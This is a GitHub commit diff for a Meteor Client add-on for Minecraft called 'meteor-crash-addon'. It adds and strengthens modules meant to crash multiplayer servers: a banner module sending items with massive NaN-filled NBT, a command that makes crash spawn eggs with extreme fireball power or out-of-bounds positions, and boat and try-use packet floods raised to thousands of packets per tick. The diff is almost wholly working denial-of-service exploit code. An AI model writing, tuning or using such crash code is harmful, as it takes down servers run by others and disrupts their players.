Skip to content

Commit

Permalink
balls (#5)
Browse files Browse the repository at this point in the history
- BannerCrash
- crashitemcommand
- tweaks
  • Loading branch information
TaxEvasiqn authored May 20, 2022
1 parent 7f7faf6 commit 56d79a3
Show file tree
Hide file tree
Showing 6 changed files with 189 additions and 22 deletions.
2 changes: 1 addition & 1 deletion gradle.properties
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,6 @@ loader_version=0.13.3


# Mod Properties
mod_version = 0.2
mod_version = 0.5
maven_group = Wide-Cat
archives_base_name = meteor-crash-addon
5 changes: 5 additions & 0 deletions src/main/java/widecat/meteorcrashaddon/CrashAddon.java
Original file line number Diff line number Diff line change
Expand Up @@ -11,13 +11,15 @@
import meteordevelopment.meteorclient.addons.GithubRepo;
import meteordevelopment.meteorclient.addons.MeteorAddon;
import meteordevelopment.meteorclient.MeteorClient;
import meteordevelopment.meteorclient.systems.commands.Commands;
import meteordevelopment.meteorclient.systems.modules.Category;
import meteordevelopment.meteorclient.systems.modules.Modules;

import net.fabricmc.loader.api.FabricLoader;
import net.minecraft.item.Items;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import widecat.meteorcrashaddon.commands.CrashItemCommand;
import widecat.meteorcrashaddon.modules.*;

import java.lang.invoke.MethodHandles;
Expand All @@ -33,6 +35,7 @@ public void onInitialize() {
MeteorClient.EVENT_BUS.registerLambdaFactory("widecat.meteorcrashaddon", (lookupInMethod, klass) -> (MethodHandles.Lookup) lookupInMethod.invoke(null, klass, MethodHandles.lookup()));

Modules.get().add(new AACCrash());
Modules.get().add(new BannerCrash());
Modules.get().add(new BoatCrash());
Modules.get().add(new BookCrash());
Modules.get().add(new ContainerCrash());
Expand All @@ -47,6 +50,8 @@ public void onInitialize() {
Modules.get().add(new TryUseCrash());
Modules.get().add(new NoComCrash());
Modules.get().add(new LecternCrash());

Commands.get().add(new CrashItemCommand());
}

@Override
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
package widecat.meteorcrashaddon.commands;

import com.mojang.brigadier.builder.LiteralArgumentBuilder;
import meteordevelopment.meteorclient.systems.commands.Command;
import net.minecraft.command.CommandSource;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtDouble;
import net.minecraft.nbt.NbtList;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;

import static com.mojang.brigadier.Command.SINGLE_SUCCESS;

public class CrashItemCommand extends Command {

public CrashItemCommand() {
super("crashitem", "Gives you crash items.");
}

@Override
public void build(LiteralArgumentBuilder<CommandSource> builder) {
builder.then(literal("CrashFireball").executes(ctx -> {
ItemStack CrashFireball = new ItemStack(Items.CAVE_SPIDER_SPAWN_EGG);
NbtCompound tag1 = new NbtCompound();
NbtList power = new NbtList();
power.add(NbtDouble.of(1.0E43));
power.add(NbtDouble.of(0));
power.add(NbtDouble.of(0));
tag1.putString("id", "minecraft:small_fireball");
tag1.put("power", power);
CrashFireball.setSubNbt("EntityTag", tag1);
CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball);
mc.getNetworkHandler().sendPacket(balls);
return SINGLE_SUCCESS;
}));

builder.then(literal("OOBEgg").executes(ctx -> {
ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG);
NbtCompound tag2 = new NbtCompound();
NbtList pos = new NbtList();
pos.add(NbtDouble.of(2147483647));
pos.add(NbtDouble.of(2147483647));
pos.add(NbtDouble.of(2147483647));
tag2.put("Pos", pos);
gato.setSubNbt("EntityTag", tag2);
CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato);
mc.getNetworkHandler().sendPacket(elgato);
return SINGLE_SUCCESS;
}));

}
}
90 changes: 90 additions & 0 deletions src/main/java/widecat/meteorcrashaddon/modules/BannerCrash.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
package widecat.meteorcrashaddon.modules;

import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.*;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import widecat.meteorcrashaddon.CrashAddon;

public class BannerCrash extends Module {
private final SettingGroup sgGeneral = settings.getDefaultGroup();

private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
.name("amount")
.description("How many packets to send to the server per tick.")
.defaultValue(100)
.min(1)
.sliderMin(1)
.sliderMax(1000)
.build()
);

private final Setting<Integer> size = sgGeneral.add(new IntSetting.Builder()
.name("banner-size")
.description("How big the banner should be.")
.defaultValue(30000)
.min(1)
.sliderMin(1)
.sliderMax(50000)
.build()
);

private final Setting<SlotMode> slotMode = sgGeneral.add(new EnumSetting.Builder<SlotMode>()
.name("creative-slot-mode")
.description("Which slot mode to use.")
.defaultValue(SlotMode.Hotbar)
.build()
);

private final Setting<Integer> slots = sgGeneral.add(new IntSetting.Builder()
.name("slots")
.description("How many slots to use for the books.")
.defaultValue(1)
.min(1)
.sliderMin(1)
.sliderMax(36)
.visible(() -> slotMode.get() == SlotMode.FullInv)
.build()
);

private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder()
.name("auto-disable")
.description("Disables module on kick.")
.defaultValue(true)
.build()
);

public BannerCrash() {
super(CrashAddon.CATEGORY , "banner-crash", "Attempts to crash the server by spamming banners with massive NBT.");
}

@EventHandler
private void onTick(TickEvent.Post event) {
for (int i = 0; i < amount.get(); i++) {
ItemStack stack = new ItemStack(Items.BLACK_BANNER);
NbtCompound tag = new NbtCompound();
for (int ii = 0; ii < size.get(); ii++) tag.putDouble(String.valueOf(ii), Double.NaN);
stack.setNbt(tag);
if (slotMode.get() == SlotMode.FullInv) {
for (int ii = 9; ii < 9 + slots.get(); ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); //mc.interactionManager.clickCreativeStack(stack, ii);
} else if (slotMode.get() == SlotMode.Hotbar) {
for (int ii = 36; ii < 36 + 9; ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); // mc.interactionManager.clickCreativeStack(stack, ii);
}
}
}

@EventHandler
private void onGameLeft(GameLeftEvent event) {
if (autoDisable.get()) toggle();
}

public enum SlotMode {
Hotbar,
FullInv
}
}
55 changes: 37 additions & 18 deletions src/main/java/widecat/meteorcrashaddon/modules/BoatCrash.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,41 +8,51 @@

package widecat.meteorcrashaddon.modules;

/*
Ported from Cornos to Crash Addon by Wide_Cat
https://github.com/0x151/Cornos/blob/master/src/main/java/me/zeroX150/cornos/features/module/impl/exploit/crash/BoatCrash.java
*/

import meteordevelopment.meteorclient.settings.*;
import widecat.meteorcrashaddon.CrashAddon;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.PlaySoundEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.BoolSetting;
import meteordevelopment.meteorclient.settings.IntSetting;
import meteordevelopment.meteorclient.settings.Setting;
import meteordevelopment.meteorclient.settings.SettingGroup;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.entity.Entity;
import net.minecraft.entity.vehicle.BoatEntity;
import net.minecraft.network.packet.c2s.play.BoatPaddleStateC2SPacket;
import widecat.meteorcrashaddon.CrashAddon;
import net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Vec3d;

import static widecat.meteorcrashaddon.modules.BoatCrash.Mode.Shit;

public class BoatCrash extends Module {
public enum Mode {
Shit,
New
}

private final SettingGroup sgGeneral = settings.getDefaultGroup();

private final Setting<Mode> mode = sgGeneral.add(new EnumSetting.Builder<Mode>()
.name("mode")
.description("Which crash method to use.")
.defaultValue(Mode.New)
.build()
);

private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
.name("amount")
.description("How many packets to send to the server per tick.")
.defaultValue(100)
.min(1)
.sliderMax(1000)
.defaultValue(2000)
.min(1000)
.sliderMax(8000)
.build()
);

private final Setting<Boolean> noSound = sgGeneral.add(new BoolSetting.Builder()
.name("no-sound")
.description("Blocks the noisy paddle sounds.")
.defaultValue(false)
.visible(() -> mode.get() == Shit)
.build()
);

Expand All @@ -53,8 +63,6 @@ public class BoatCrash extends Module {
.build()
);

private final BoatPaddleStateC2SPacket PACKET = new BoatPaddleStateC2SPacket(true, true);

public BoatCrash() {
super(CrashAddon.CATEGORY, "boat-crash", "Tries to crash the server when you are in a boat. (By 0x150)");
}
Expand All @@ -67,9 +75,20 @@ private void onTick(TickEvent.Post event) {
toggle();
return;
}

for (int i = 0; i < amount.get(); i++) {
mc.getNetworkHandler().sendPacket(PACKET);
if (mode.get() == Mode.Shit) {
BoatPaddleStateC2SPacket PACKET = new BoatPaddleStateC2SPacket(true, true);
for (int i = 0; i < amount.get(); i++) {
mc.getNetworkHandler().sendPacket(PACKET);
}
} else {
Entity vehicle = mc.player.getVehicle();
BlockPos start = mc.player.getBlockPos();
Vec3d end = new Vec3d(start.getX() + .5, start.getY() + 1, start.getZ() + .5);
vehicle.updatePosition(end.x, end.y - 1, end.z);
VehicleMoveC2SPacket PACKET2 = new VehicleMoveC2SPacket(vehicle);
for (int i = 0; i < amount.get(); i++) {
mc.getNetworkHandler().sendPacket(PACKET2);
}
}
}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -35,9 +35,9 @@ public class TryUseCrash extends Module {
private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder()
.name("packets")
.description("How many packets to send per tick.")
.defaultValue(38)
.min(1)
.sliderMax(100)
.defaultValue(1000)
.min(400)
.sliderMax(5000)
.build()
);

Expand Down

0 comments on commit 56d79a3

Please sign in to comment.